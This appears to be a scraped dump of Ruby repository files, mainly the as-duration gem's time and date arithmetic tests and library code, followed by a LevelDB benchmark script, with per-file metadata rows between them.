assert_equal new(2006,6,5,10,10,10), 12.months.from(new(2005,6,5,10,10,10))
assert_equal new(2007,6,5,10,10,10), 24.months.from(new(2005,6,5,10,10,10))
assert_equal new(2005,4,30,10,10,10), 1.months.from(new(2005,3,31,10,10,10))
assert_equal new(2005,2,28,10,10,10), 1.months.from(new(2005,1,29,10,10,10))
assert_equal new(2005,2,28,10,10,10), 1.months.from(new(2005,1,30,10,10,10))
assert_equal new(2005,2,28,10,10,10), 1.months.from(new(2005,1,31,10,10,10))
end
def test_years_until
assert_equal new(2004,6,5,10,10,10), 1.years.until(new(2005,6,5,10,10,10))
assert_equal new(1998,6,5,10,10,10), 7.years.until(new(2005,6,5,10,10,10))
assert_equal new(2003,2,28,10,10,10), 1.years.until(new(2004,2,29,10,10,10)) # 1 year ago from leap day
end
def test_years_from
assert_equal new(2006,6,5,10,10,10), 1.years.from(new(2005,6,5,10,10,10))
assert_equal new(2012,6,5,10,10,10), 7.years.from(new(2005,6,5,10,10,10))
assert_equal new(2005,2,28,10,10,10), 1.years.from(new(2004,2,29,10,10,10)) # 1 year from leap day
assert_equal new(2182,6,5,10,10,10), 177.years.from(new(2005,6,5,10,10,10))
end
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/time_test.rb | test/time_test.rb | require_relative "test_helper"
require_relative "date_and_time_behaviour"
class TimeTest < Minitest::Test
include DateAndTimeBehaviour
def setup
@time = Time.now
end
def new(*args)
Time.local(*args)
end
def test_calendar_reform
assert_equal new(1582,10,14,15,15,10), 1.days.until(new(1582,10,15,15,15,10))
assert_equal new(1582,10,15,15,15,10), 1.days.from(new(1582,10,14,15,15,10))
assert_equal new(1582,10,5,15,15,10), 1.days.from(new(1582,10,4,15,15,10))
assert_equal new(1582,10,4,15,15,10), 1.days.until(new(1582,10,5,15,15,10))
end
def test_since_and_until_with_fractional_days
# since
assert_equal 36.hours.since(@time), 1.5.days.since(@time)
assert_in_delta((24 * 1.7).hours.since(@time), 1.7.days.since(@time), 1)
# until
assert_equal 36.hours.until(@time), 1.5.days.until(@time)
assert_in_delta((24 * 1.7).hours.until(@time), 1.7.days.until(@time), 1)
end
def test_since_and_until_with_fractional_weeks
# since
assert_equal((7 * 36).hours.since(@time), 1.5.weeks.since(@time))
assert_in_delta((7 * 24 * 1.7).hours.since(@time), 1.7.weeks.since(@time), 1)
# until
assert_equal((7 * 36).hours.until(@time), 1.5.weeks.until(@time))
assert_in_delta((7 * 24 * 1.7).hours.until(@time), 1.7.weeks.until(@time), 1)
end
def test_precision
assert_equal 8.seconds.from(@time), @time + 8.seconds
assert_equal 22.9.seconds.from(@time), @time + 22.9.seconds
assert_equal 15.days.from(@time), @time + 15.days
assert_equal 1.month.from(@time), @time + 1.month
end
def test_leap_year
assert_equal Time.local(2005,2,28,15,15,10), Time.local(2004,2,29,15,15,10) + 1.year
assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10) + 1.year
assert_equal Time.new(2005,2,28,15,15,10,'-08:00'), Time.new(2004,2,29,15,15,10,'-08:00') + 1.year
end
def test_adding_hours_across_dst_boundary
with_env_tz 'CET' do
assert_equal Time.local(2009,3,29,0,0,0) + 24.hours, Time.local(2009,3,30,1,0,0)
end
end
def test_adding_day_across_dst_boundary
with_env_tz 'CET' do
assert_equal Time.local(2009,3,29,0,0,0) + 1.day, Time.local(2009,3,30,0,0,0)
end
end
def test_daylight_savings_time_crossings_backward_start
with_env_tz 'US/Eastern' do
# dt: US: 2005 April 3rd 4:18am
assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0) - 24.hours
assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0) - 86400.seconds
assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0) - 24.hours
assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0) - 86400.seconds
end
with_env_tz 'NZ' do
# dt: New Zealand: 2006 October 1st 4:18am
assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0) - 24.hours
assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0) - 86400.seconds
assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0) - 24.hours
assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0) - 86400.seconds
end
end
def test_daylight_savings_time_crossings_backward_end
with_env_tz 'US/Eastern' do
# st: US: 2005 October 30th 4:03am
assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0) - 24.hours
assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0) - 86400.seconds
assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0) - 24.hours
assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0) - 86400.seconds
end
with_env_tz 'NZ' do
# st: New Zealand: 2006 March 19th 4:03am
assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0) - 24.hours
assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0) - 86400.seconds
assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0) - 24.hours
assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0) - 86400.seconds
end
end
def test_daylight_savings_time_crossings_backward_start_1day
with_env_tz 'US/Eastern' do
# dt: US: 2005 April 3rd 4:18am
assert_equal Time.local(2005,4,2,4,18,0), Time.local(2005,4,3,4,18,0) - 1.day
assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0) - 1.day
end
with_env_tz 'NZ' do
# dt: New Zealand: 2006 October 1st 4:18am
assert_equal Time.local(2006,9,30,4,18,0), Time.local(2006,10,1,4,18,0) - 1.day
assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0) - 1.day
end
end
def test_daylight_savings_time_crossings_backward_end_1day
with_env_tz 'US/Eastern' do
# st: US: 2005 October 30th 4:03am
assert_equal Time.local(2005,10,29,4,3), Time.local(2005,10,30,4,3,0) - 1.day
assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0) - 1.day
end
with_env_tz 'NZ' do
# st: New Zealand: 2006 March 19th 4:03am
assert_equal Time.local(2006,3,18,4,3), Time.local(2006,3,19,4,3,0) - 1.day
assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0) - 1.day
end
end
def test_daylight_savings_time_crossings_forward_start
with_env_tz 'US/Eastern' do
# st: US: 2005 April 2nd 7:27pm
assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0) + 24.hours
assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0) + 86400.seconds
assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0) + 24.hours
assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0) + 86400.seconds
end
with_env_tz 'NZ' do
# st: New Zealand: 2006 September 30th 7:27pm
assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0) + 24.hours
assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0) + 86400.seconds
assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0) + 24.hours
assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0) + 86400.seconds
end
end
def test_daylight_savings_time_crossings_forward_start_1day
with_env_tz 'US/Eastern' do
# st: US: 2005 April 2nd 7:27pm
assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0) + 1.day
assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0) + 1.day
end
with_env_tz 'NZ' do
# st: New Zealand: 2006 September 30th 7:27pm
assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0) + 1.day
assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0) + 1.day
end
end
def test_daylight_savings_time_crossings_forward_end
with_env_tz 'US/Eastern' do
# dt: US: 2005 October 30th 12:45am
assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0) + 24.hours
assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0) + 86400.seconds
assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0) + 24.hours
assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0) + 86400.seconds
end
with_env_tz 'NZ' do
# dt: New Zealand: 2006 March 19th 1:45am
assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0) + 24.hours
assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0) + 86400.seconds
assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0) + 24.hours
assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0) + 86400.seconds
end
end
def test_daylight_savings_time_crossings_forward_end_1day
with_env_tz 'US/Eastern' do
# dt: US: 2005 October 30th 12:45am
assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0) + 1.day
assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0) + 1.day
end
with_env_tz 'NZ' do
# dt: New Zealand: 2006 March 19th 1:45am
assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0) + 1.day
assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0) + 1.day
end
end
def test_advance
assert_equal Time.local(2006,2,28,15,15,10), Time.local(2005,2,28,15,15,10) + 1.year
assert_equal Time.local(2005,6,28,15,15,10), Time.local(2005,2,28,15,15,10) + 4.months
assert_equal Time.local(2005,3,21,15,15,10), Time.local(2005,2,28,15,15,10) + 3.weeks
assert_equal Time.local(2005,3,25,3,15,10), Time.local(2005,2,28,15,15,10) + 3.5.weeks
assert_in_delta Time.local(2005,3,26,12,51,10), Time.local(2005,2,28,15,15,10) + 3.7.weeks, 1
assert_equal Time.local(2005,3,5,15,15,10), Time.local(2005,2,28,15,15,10) + 5.days
assert_equal Time.local(2005,3,6,3,15,10), Time.local(2005,2,28,15,15,10) + 5.5.days
assert_in_delta Time.local(2005,3,6,8,3,10), Time.local(2005,2,28,15,15,10) + 5.7.days, 1
assert_equal Time.local(2012,9,28,15,15,10), Time.local(2005,2,28,15,15,10) + (7.years + 7.months)
assert_equal Time.local(2013,10,3,15,15,10), Time.local(2005,2,28,15,15,10) + (7.years + 19.months + 5.days)
assert_equal Time.local(2013,10,17,15,15,10), Time.local(2005,2,28,15,15,10) + (7.years + 19.months + 2.weeks + 5.days)
assert_equal Time.local(2001,12,27,15,15,10), Time.local(2005,2,28,15,15,10) + (-3.years - 2.months - 1.day)
assert_equal Time.local(2005,2,28,20,15,10), Time.local(2005,2,28,15,15,10) + 5.hours
assert_equal Time.local(2005,2,28,15,22,10), Time.local(2005,2,28,15,15,10) + 7.minutes
assert_equal Time.local(2005,2,28,15,15,19), Time.local(2005,2,28,15,15,10) + 9.seconds
assert_equal Time.local(2005,2,28,20,22,19), Time.local(2005,2,28,15,15,10) + (5.hours + 7.minutes + 9.seconds)
assert_equal Time.local(2005,2,28,10,8,1), Time.local(2005,2,28,15,15,10) + (-5.hours - 7.minutes - 9.seconds)
assert_equal Time.local(2013,10,17,20,22,19), Time.local(2005,2,28,15,15,10) + (7.years + 19.months + 2.weeks + 5.days + 5.hours + 7.minutes + 9.seconds)
end
def test_utc_advance
assert_equal Time.utc(2006,2,22,15,15,10), Time.utc(2005,2,22,15,15,10) + 1.year
assert_equal Time.utc(2005,6,22,15,15,10), Time.utc(2005,2,22,15,15,10) + 4.months
assert_equal Time.utc(2005,3,21,15,15,10), Time.utc(2005,2,28,15,15,10) + 3.weeks
assert_equal Time.utc(2005,3,25,3,15,10), Time.utc(2005,2,28,15,15,10) + 3.5.weeks
assert_in_delta Time.utc(2005,3,26,12,51,10), Time.utc(2005,2,28,15,15,10) + 3.7.weeks, 1
assert_equal Time.utc(2005,3,5,15,15,10), Time.utc(2005,2,28,15,15,10) + 5.days
assert_equal Time.utc(2005,3,6,3,15,10), Time.utc(2005,2,28,15,15,10) + 5.5.days
assert_in_delta Time.utc(2005,3,6,8,3,10), Time.utc(2005,2,28,15,15,10) + 5.7.days, 1
assert_equal Time.utc(2012,9,22,15,15,10), Time.utc(2005,2,22,15,15,10) + (7.years + 7.months)
assert_equal Time.utc(2013,10,3,15,15,10), Time.utc(2005,2,22,15,15,10) + (7.years + 19.months + 11.days)
assert_equal Time.utc(2013,10,17,15,15,10), Time.utc(2005,2,28,15,15,10) + (7.years + 19.months + 2.weeks + 5.days)
assert_equal Time.utc(2001,12,27,15,15,10), Time.utc(2005,2,28,15,15,10) + (-3.years - 2.months - 1.day)
assert_equal Time.utc(2005,2,28,20,15,10), Time.utc(2005,2,28,15,15,10) + 5.hours
assert_equal Time.utc(2005,2,28,15,22,10), Time.utc(2005,2,28,15,15,10) + 7.minutes
assert_equal Time.utc(2005,2,28,15,15,19), Time.utc(2005,2,28,15,15,10) + 9.seconds
assert_equal Time.utc(2005,2,28,20,22,19), Time.utc(2005,2,28,15,15,10) + (5.hours + 7.minutes + 9.seconds)
assert_equal Time.utc(2005,2,28,10,8,1), Time.utc(2005,2,28,15,15,10) + (-5.hours - 7.minutes - 9.seconds)
assert_equal Time.utc(2013,10,17,20,22,19), Time.utc(2005,2,28,15,15,10) + (7.years + 19.months + 2.weeks + 5.days + 5.hours + 7.minutes + 9.seconds)
end
def test_offset_advance
assert_equal Time.new(2006,2,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00') + 1.year
assert_equal Time.new(2005,6,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00') + 4.months
assert_equal Time.new(2005,3,21,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 3.weeks
assert_equal Time.new(2005,3,25,3,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 3.5.weeks
assert_in_delta Time.new(2005,3,26,12,51,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 3.7.weeks, 1
assert_equal Time.new(2005,3,5,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 5.days
assert_equal Time.new(2005,3,6,3,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 5.5.days
assert_in_delta Time.new(2005,3,6,8,3,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 5.7.days, 1
assert_equal Time.new(2012,9,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00') + (7.years + 7.months)
assert_equal Time.new(2013,10,3,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00') + (7.years + 19.months + 11.days)
assert_equal Time.new(2013,10,17,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + (7.years + 19.months + 2.weeks + 5.days)
assert_equal Time.new(2001,12,27,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + (-3.years - 2.months - 1.day)
assert_equal Time.new(2005,2,28,20,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 5.hours
assert_equal Time.new(2005,2,28,15,22,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 7.minutes
assert_equal Time.new(2005,2,28,15,15,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + 9.seconds
assert_equal Time.new(2005,2,28,20,22,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + (5.hours + 7.minutes + 9.seconds)
assert_equal Time.new(2005,2,28,10,8,1,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + (-5.hours - 7.minutes - 9.seconds)
assert_equal Time.new(2013,10,17,20,22,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00') + (7.years + 19.months + 2.weeks + 5.days + 5.hours + 7.minutes + 9.seconds)
end
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/test_helper.rb | test/test_helper.rb | require "minitest/autorun"
require "minitest/pride"
require "as-duration"
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/duration_test.rb | test/duration_test.rb | require_relative "test_helper"
class DurationTest < Minitest::Test
def test_addition
left = AS::Duration.new(1, [[:weeks, 1]])
right = AS::Duration.new(2, [[:seconds, 1]])
assert_equal([[:weeks, 1], [:seconds, 1]], (left + right).parts)
assert_equal(3, (left + right).value)
end
def test_subtraction
left = AS::Duration.new(3, [[:weeks, 1]])
right = AS::Duration.new(2, [[:seconds, 1]])
assert_equal([[:weeks, 1], [:seconds, -1]], (left - right).parts)
assert_equal(1, (left - right).value)
end
def test_negation
duration = AS::Duration.new(3, [[:weeks, 1], [:seconds, -1]])
assert_equal([[:weeks, -1], [:seconds, 1]], (-duration).parts)
assert_equal(-3, (-duration).value)
end
def test_converting_to_seconds
assert_equal(60, (1.minute).to_i)
assert_equal(600, (10.minutes).to_i)
assert_equal(4500, (1.hour + 15.minutes).to_i)
assert_equal(189000, (2.days + 4.hours + 30.minutes).to_i)
assert_equal(161481600, (5.years + 1.month + 1.fortnight).to_i)
end
def test_fractional_weeks
assert_equal((86400 * 7) * 1.5, 1.5.weeks.to_i)
assert_equal((86400 * 7) * 1.7, 1.7.weeks.to_i)
end
def test_fractional_days
assert_equal(86400 * 1.5, 1.5.days.to_i)
assert_equal(86400 * 1.7, 1.7.days.to_i)
end
def test_equality
assert 1.day == 24.hours
refute 1.day == 1.day.to_i
refute 1.day.to_i == 1.day
refute 1.day == "foo"
end
def test_inequality
assert_equal(-1, 0.seconds <=> 1.seconds)
assert_equal(0, 1.seconds <=> 1.seconds)
assert_equal(1, 2.seconds <=> 1.seconds)
assert_equal(nil, 1.minute <=> 1)
assert_equal(nil, 1 <=> 1.minute)
end
def test_travel_methods_interface
assert_equal Time.new(2015,10,10,10,10,10), 1.year.since(Time.new(2014,10,10,10,10,10))
assert_equal Time.new(2015,10,10,10,10,10), 1.year.after(Time.new(2014,10,10,10,10,10))
assert_equal Time.new(2015,10,10,10,10,10), 1.year.from(Time.new(2014,10,10,10,10,10))
assert_equal Time.new(2015,10,10,10,10,10), 1.year.until(Time.new(2016,10,10,10,10,10))
assert_equal Time.new(2015,10,10,10,10,10), 1.year.before(Time.new(2016,10,10,10,10,10))
assert_equal Time.new(2015,10,10,10,10,10), 1.year.to(Time.new(2016,10,10,10,10,10))
assert 1.second.from_now > Time.now
assert 1.second.ago < Time.now
end
def test_type_checking
error = assert_raises(ArgumentError) { 1.second.from("foo") }
assert_match 'Time or Date', error.message
assert_raises(TypeError) { 1.second + 1 }
assert_raises(TypeError) { 1 + 1.second }
assert_raises(TypeError) { 1.second - 1 }
assert_raises(TypeError) { 1 - 1.second }
end
def test_no_mutation
parts = [[:weeks, 1.5], [:days, 2.5]]
AS::Duration.new(1, parts).ago
assert_equal([[:weeks, 1.5], [:days, 2.5]], parts)
end
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/test/date_test.rb | test/date_test.rb | require_relative "test_helper"
require_relative "date_and_time_behaviour"
class DateTest < Minitest::Test
include DateAndTimeBehaviour
def setup
@date = Date.today
end
def new(*args)
Date.new(*args.first(3))
end
def test_advance
assert_equal new(2006,2,28), new(2005,2,28) + 1.year
assert_equal new(2005,6,28), new(2005,2,28) + 4.months
assert_equal new(2005,3,21), new(2005,2,28) + 3.weeks
assert_equal new(2005,3,5), new(2005,2,28) + 5.days
assert_equal new(2012,9,28), new(2005,2,28) + (7.years + 7.months)
assert_equal new(2013,10,3), new(2005,2,28) + (7.years + 19.months + 5.days)
assert_equal new(2013,10,17), new(2005,2,28) + (7.years + 19.months + 2.weeks + 5.days)
end
def test_advance_does_first_years_and_then_days
assert_equal new(2012, 2, 29), new(2011, 2, 28) + (1.year + 1.day)
end
def test_advance_does_first_months_and_then_days
assert_equal new(2010, 3, 29), new(2010, 2, 28) + (1.month + 1.day)
end
def test_leap_year
assert_equal new(2005,2,28), new(2004,2,29) + 1.year
end
def test_calendar_reform
assert_equal new(1582,10,15), new(1582,10,4) + 1.day
assert_equal new(1582,10,4), new(1582,10,15) - 1.day
5.upto(14) do |day|
assert_equal new(1582,10,4), new(1582,9,day) + 1.month
assert_equal new(1582,10,4), new(1582,11,day) - 1.month
assert_equal new(1582,10,4), new(1581,10,day) + 1.year
assert_equal new(1582,10,4), new(1583,10,day) - 1.year
end
end
def test_precision
assert_equal @date + 1, @date + 1.day
assert_equal @date >> 1, @date + 1.month
end
def test_conversion_to_time
assert_equal 1.second.from(@date.to_time), @date + 1.second
assert_equal 60.seconds.from(@date.to_time), @date + 1.minute
assert_equal 60.minutes.from(@date.to_time), @date + 1.hour
end
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as-duration.rb | lib/as-duration.rb | require "as/duration"
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration.rb | lib/as/duration.rb | require "as/duration/core_ext"
require "time"
module AS
class Duration
include Comparable
attr_accessor :value, :parts
def initialize(value, parts)
@value, @parts = value, parts
end
def to_i
@value
end
# reference: Rails-->activesupport/lib/active_support/duration.rb
# Add this method FOR something like 5.minutes.to_f, which is used in ActiveSupport::Cache::Entry#initialize.
def to_f
@value.to_f
end
def <=>(other)
return nil if not Duration === other
self.value <=> other.value
end
def +(other)
raise TypeError, "can only add Duration objects" if not Duration === other
Duration.new(value + other.value, parts + other.parts)
end
def -(other)
raise TypeError, "can only subtract Duration objects" if not Duration === other
self + (-other)
end
def -@
Duration.new(-value, parts.map { |type, number| [type, -number] })
end
def from(time)
advance(time)
end
alias since from
alias after from
def from_now
from(Time.now)
end
def until(time)
(-self).advance(time)
end
alias to until
alias before until
def ago
self.until(Time.now)
end
protected
def advance(time)
Calculator.new(parts).advance(time)
end
class Calculator
def initialize(parts)
options = parts.inject({}) do |options, (type, number)|
options.update(type => number) { |key, old, new| old + new }
end
# Remove partial weeks and days for accurate date behaviour
if Float === options[:weeks]
options[:weeks], partial_weeks = options[:weeks].divmod(1)
options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
end
if Float === options[:days]
options[:days], partial_days = options[:days].divmod(1)
options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
end
@options = options
end
def advance(time)
case time
when Time then advance_time(time)
when Date then advance_date(time)
else
raise ArgumentError, "expected Time or Date, got #{time.inspect}"
end
end
private
attr_reader :options
def advance_time(time)
date = advance_date_part(time.to_date)
time_advanced_by_date_args =
if time.utc?
Time.utc(date.year, date.month, date.day, time.hour, time.min, time.sec)
elsif time.zone
Time.local(date.year, date.month, date.day, time.hour, time.min, time.sec)
else
Time.new(date.year, date.month, date.day, time.hour, time.min, time.sec, time.utc_offset)
end
time_advanced_by_date_args + seconds_to_advance
end
def advance_date(date)
date = advance_date_part(date)
if seconds_to_advance == 0
date
else
date.to_time + seconds_to_advance
end
end
def advance_date_part(date)
date = date >> options.fetch(:years, 0) * 12
date = date >> options.fetch(:months, 0)
date = date + options.fetch(:weeks, 0) * 7
date = date + options.fetch(:days, 0)
date = date.gregorian if date.julian?
date
end
def seconds_to_advance
options.fetch(:seconds, 0) +
options.fetch(:minutes, 0) * 60 +
options.fetch(:hours, 0) * 3600
end
end
end
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext.rb | lib/as/duration/core_ext.rb | require "as/duration/core_ext/numeric"
require "as/duration/core_ext/integer"
require "as/duration/core_ext/time"
require "as/duration/core_ext/date"
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/operations.rb | lib/as/duration/operations.rb | module AS
class Duration
module Operations
module DateAndTime
def +(other)
if Duration === other
other.since(self)
else
super
end
end
def -(other)
if Duration === other
other.until(self)
else
super
end
end
end
end
end
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/time.rb | lib/as/duration/core_ext/time.rb | require "as/duration/operations"
class Time
prepend AS::Duration::Operations::DateAndTime
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/integer.rb | lib/as/duration/core_ext/integer.rb | class Integer
def months
AS::Duration.new(self * 30*24*60*60, [[:months, self]])
end
alias month months
def years
AS::Duration.new(self * 365*24*60*60, [[:years, self]])
end
alias year years
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/date.rb | lib/as/duration/core_ext/date.rb | require "as/duration/operations"
class Date
prepend AS::Duration::Operations::DateAndTime
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
janko/as-duration | https://github.com/janko/as-duration/blob/b50cf856e5444d8d840eab583b14d04401d3bc5a/lib/as/duration/core_ext/numeric.rb | lib/as/duration/core_ext/numeric.rb | class Numeric
def seconds
AS::Duration.new(self, [[:seconds, self]])
end
alias second seconds
def minutes
AS::Duration.new(self * 60, [[:minutes, self]])
end
alias minute minutes
def hours
AS::Duration.new(self * 60*60, [[:hours, self]])
end
alias hour hours
def days
AS::Duration.new(self * 24*60*60, [[:days, self]])
end
alias day days
def weeks
AS::Duration.new(self * 7*24*60*60, [[:weeks, self]])
end
alias week weeks
def fortnights
AS::Duration.new(self * 14*24*60*60, [[:weeks, self * 2]])
end
alias fortnight fortnights
end
| ruby | MIT | b50cf856e5444d8d840eab583b14d04401d3bc5a | 2026-01-04T17:53:55.730728Z | false |
DAddYE/leveldb | https://github.com/DAddYE/leveldb/blob/2071d14decc48cc34c28efccfa996d1751a2461c/benchmark/leveldb.rb | benchmark/leveldb.rb | require 'bundler/setup'
require 'leveldb'
require 'benchmark'
require 'minitest'
puts '## Please wait, I\'m generating 100mb of random data ...'
N = 10_240
SAMPLE = []
File.open('/dev/urandom', File::RDONLY || File::NONBLOCK || File::NOCTTY) do |f|
N.times { |i| SAMPLE << f.readpartial(5_120).unpack("H*")[0] }
end
db = LevelDB::DB.new '/tmp/bench', compression: false
db.clear!
puts '## Without compression:'
Benchmark.bm do |x|
x.report('put') { N.times { |i| db.put(i, SAMPLE[i]) } }
x.report('get') { N.times { |i| raise unless db.get(i) == SAMPLE[i] } }
end
db.reopen!
puts db.stats
puts
db.close; db.destroy
db = LevelDB::DB.new '/tmp/bench', bloom_filter_bits_per_key: 100
db.clear!
puts '## With bloom filter @ 100 bits/key:'
Benchmark.bm do |x|
x.report('put') { N.times { |i| db.put(i, SAMPLE[i]) } }
x.report('get') { N.times { |i| raise unless db.get(i) == SAMPLE[i] } }
end
db.reopen!
puts db.stats
puts
db.close; db.destroy
db = LevelDB::DB.new '/tmp/bench', compression: true
db.clear!
puts '## With compression:'
Benchmark.bm do |x|
x.report('put') { N.times { |i| db.put(i, SAMPLE[i]) } }
x.report('get') { N.times { |i| raise unless db.get(i) == SAMPLE[i] } }
end
db.reopen!
puts db.stats
puts
db.close; db.destroy
db = LevelDB::DB.new '/tmp/bench', compression: true, bloom_filter_bits_per_key: 100
db.clear!
puts '## With compression and bloom filter @ 100 bits/key:'
Benchmark.bm do |x|
x.report('put') { N.times { |i| db.put(i, SAMPLE[i]) } }
x.report('get') { N.times { |i| raise unless db.get(i) == SAMPLE[i] } }
end
db.reopen!
puts db.stats
puts
db.close; db.destroy
db = LevelDB::DB.new '/tmp/bench', compression: true
db.clear!
puts '## With batch:'
Benchmark.bm do |x|
x.report 'put' do
db.batch do |batch|
N.times { |i| batch.put(i, SAMPLE[i]) }
end
end
end
db.reopen!
puts db.stats
puts
| ruby | MIT | 2071d14decc48cc34c28efccfa996d1751a2461c | 2026-01-04T17:54:01.529376Z | false |
